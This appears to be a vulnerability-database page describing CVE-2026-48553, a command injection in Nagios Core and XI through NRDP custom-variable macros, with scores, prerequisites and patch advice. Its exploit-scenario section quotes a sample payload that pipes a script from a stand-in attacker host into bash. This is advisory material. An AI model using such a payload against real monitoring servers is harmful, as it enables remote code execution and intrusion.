Skip to main content

Nagios Core EUVDEUVD-2026-57345

| CVE-2026-48553 HIGH
OS Command Injection (CWE-78)
2026-08-12 VulnCheck GHSA-r6wg-9vj9-rm67
7.7
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain NRDP credentials or token
  2. Delivery
    Craft passive check result with injected shell payload in custom variable field
  3. Exploit
    Submit to NRDP endpoint over network
  4. Execution
    Nagios expands macro into shell-executed command string
  5. Persist
    OS command executes as nagios process user
  6. Impact
    Attain full RCE on monitoring server

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Three concurrent prerequisites must be met: (1) the attacker must possess valid NRDP credentials or a shared NRDP token granting write access to the monitored host or service object (CVSS PR:L); (2) at least one custom variable (e.g., $_HOSTmyvar$, $_SERVICEstatus_extra$) must be defined on the target host, service, or contact object; and (3) that specific custom variable macro must appear as an argument within a shell-executed command definition - such as an event handler, notification command, or check command that invokes a shell script. The vendor explicitly states this is a non-default configuration; Nagios installations that do not use custom variables in shell command definitions are not vulnerable. Exploitation is further bounded by the requirement for authenticated NRDP access, meaning unauthenticated internet-facing exploitation is not possible under this vulnerability.

Impact

The CVSS 4.0 base score of 7.7 with AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H accurately reflects the risk profile. The AT:P (Attack Requirements Present) metric is the critical moderating factor - it encodes the non-default configuration prerequisite, which meaningfully limits the real-world attack surface beyond what the high impact ratings alone suggest. Environments that do not define custom variables referenced in shell-executed commands are not vulnerable, reducing population exposure compared to a purely AC:L/PR:N finding. Authentication at the PR:L level (NRDP credential or token) provides an additional gatekeeping layer, though NRDP credentials may be broadly distributed across monitoring agents. No CISA KEV listing and no POC code are confirmed at time of analysis, so exploitation appears opportunistic or targeted rather than widespread. The combination of non-default configuration requirement, authentication prerequisite, and absence of confirmed in-the-wild exploitation suggests this is a real but non-emergency priority for most organizations - highest urgency for teams whose Nagios deployments actively use custom variables in shell command definitions.

Exploit ScenarioDerived

An attacker who has obtained valid NRDP credentials - whether through credential theft, brute force, or insider access - submits a crafted passive check result where a custom variable field contains shell metacharacters such as '; curl attacker.example/shell.sh | bash #'. If the receiving Nagios instance has a command definition like '/usr/local/nagios/libexec/notify.sh $_HOSTmyvar$', the macro is expanded verbatim into the shell command string and the injected payload executes as the nagios OS user. No public proof-of-concept has been identified, but the attack follows a well-understood and easily reproducible command injection pattern requiring no memory corruption or advanced exploitation primitives.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 12, 2026

Authenticated remote code execution in Nagios Core (before 4.5.13) and Nagios XI (before 2026R1.5) is achievable via OS command injection through custom-variable macros processed by the Nagios Remote Data Processor (NRDP). An attacker with valid NRDP access can embed shell metacharacters in a custom variable value that is later expanded inside a shell-executed command definition, causing arbitrary OS commands to run with the privileges of the Nagios process. No public exploit code or CISA KEV listing exists at time of analysis, but impact is rated high across confidentiality, integrity, and availability given full command execution on the monitoring server.

RemediationAI

The primary fix is to upgrade Nagios Core to version 4.5.13 or later and Nagios XI to version 2026R1.5 or later, per the vendor advisory at https://www.nagios.com/security-disclosures/nagios-core/. If immediate patching is not feasible, the most effective compensating control is to audit all command object definitions and remove or sanitize any that reference custom variable macros ($_HOSTxxx$, $_SERVICExxx$, $_CONTACTxxx$) within shell-executed command strings - this eliminates the injection sink at the cost of losing that monitoring customization. As a secondary control, restrict NRDP endpoint access to known trusted IP ranges via firewall ACLs or the NRDP allowed_hosts configuration, which limits who can supply attacker-controlled macro values; note this does not remove the vulnerability but raises the bar for exploitation. Review the upstream Changelog at https://github.com/NagiosEnterprises/nagioscore/blob/master/Changelog for additional patch context.

Affected VersionsENISA

Nagios Core 0 <4.5.13
Nagios XI 0 <2026R1.5

Affected Packages

euvd nagios_core fix: 4.5.13
euvd nagios_xi fix: 2026R1.5

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The Nagios Remote Data Processor (NRDP) is a flexible data-transport mechanism that accepts passive check results, host status updates, and service data from remote agents. Nagios expands custom variable macros - identified by the $_HOSTxxx$, $_SERVICExxx$, and $_CONTACTxxx$ syntax - when constructing shell command strings for event handlers, notification commands, and check commands. When user-supplied values arriving via NRDP are placed into these macros without shell-safe quoting or sanitization, the result is passed directly to a shell interpreter, a textbook CWE-78 (Improper Neutralization of Special Elements in an OS Command) pattern. Affected products per CPE data are cpe:2.3:a:nagios_enterprises,_llc.:nagios_core and cpe:2.3:a:nagios_enterprises,_llc.:nagios_xi, covering all versions prior to the respective fixed releases.

Know when Nagios Core gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 7.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 7.5 HIGH

AC:H captures the non-default configuration prerequisite; PR:L reflects required NRDP authentication; full C/I/A impact from arbitrary OS command execution on the monitoring host.

3.1 AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE 6.6 MEDIUM
AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

Nagios Core before 4.5.13 and Nagios XI before 2026R1.5 are vulnerable to authenticated remote code execution via custom-variable macro injection through the Nagios Remote Data Processor (NRDP). When a custom variable defined on a host, service, or contact is referenced in a shell-executed command line, an authenticated attacker with NRDP access can inject OS commands through the macro value. Exploitation requires a non-default configuration in which a custom variable is defined and referenced in a shell-executed command.

Executive ViewAI

Why It Matters

Nagios Core (versions before 4.5.13) and Nagios XI (versions before 2026R1.5) contain an authenticated remote code execution vulnerability in the NRDP module that allows valid attackers to execute arbitrary system commands with Nagios process privileges. This vulnerability directly threatens monitoring infrastructure availability and integrity-potentially blinding the organization to critical system failures and providing attackers a trusted foothold for lateral movement through your environment.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.5%
Top 58% exploitable
Prevalence
High
widely deployed enterprise infrastructure monitoring platform globally
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.5%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

39
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2018-13458 MEDIUM POC
5.5 Jul 12

qh_core in Nagios Core 4.4.1 and earlier is prone to a NULL pointer dereference vulnerability, which allows attackers to

CVE-2018-13457 MEDIUM POC
5.5 Jul 12

qh_echo in Nagios Core 4.4.1 and earlier is prone to a NULL pointer dereference vulnerability, which allows attackers to

CVE-2018-18245 MEDIUM POC
5.4 Dec 17

Nagios Core 4.4.2 has XSS via the alert summary reports of plugin results, as demonstrated by a SCRIPT element delivered

CVE-2020-35269 HIGH
8.8 Dec 23

Nagios Core application version 4.2.4 is vulnerable to Site-Wide Cross-Site Request Forgery (CSRF) in many functions, li

CVE-2017-14312 HIGH
7.8 Sep 11

Nagios Core through 4.3.4 initially executes /usr/sbin/nagios as root but supports configuration options in which this f

CVE-2026-48554 HIGH
7.7 Aug 12

Remote code execution in Nagios Core (before 4.5.14) and Nagios XI (before 2026R1.7) allows authenticated UI users to ru

CVE-2026-48549 MEDIUM
6.9 Aug 26

Cross-site request forgery in Nagios Core (before 4.5.13) and Nagios XI (before 2026R1.5) allows an attacker to execute

CVE-2026-48548 MEDIUM
6.9 Aug 26

Cross-site request forgery in Nagios Core before 4.5.12 enables remote attackers to execute arbitrary monitoring command

CVE-2026-48551 MEDIUM
6.1 Aug 12

Cross-site request forgery protection bypass in Nagios Core (before 4.5.14) and Nagios XI (before 2026R1.7) allows unaut

CVE-2026-48550 MEDIUM
5.1 Aug 12

Reflected cross-site scripting in Nagios Core before 4.5.14 and Nagios XI before 2026R1.7 allows unauthenticated remote

CVE-2026-48552 MEDIUM
5.1 Aug 12

DOM-based cross-site scripting in Nagios Core (before 4.5.14) and Nagios XI (before 2026R1.7) allows an authenticated lo

Vendor StatusVendor

SUSE

Severity: Moderate

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy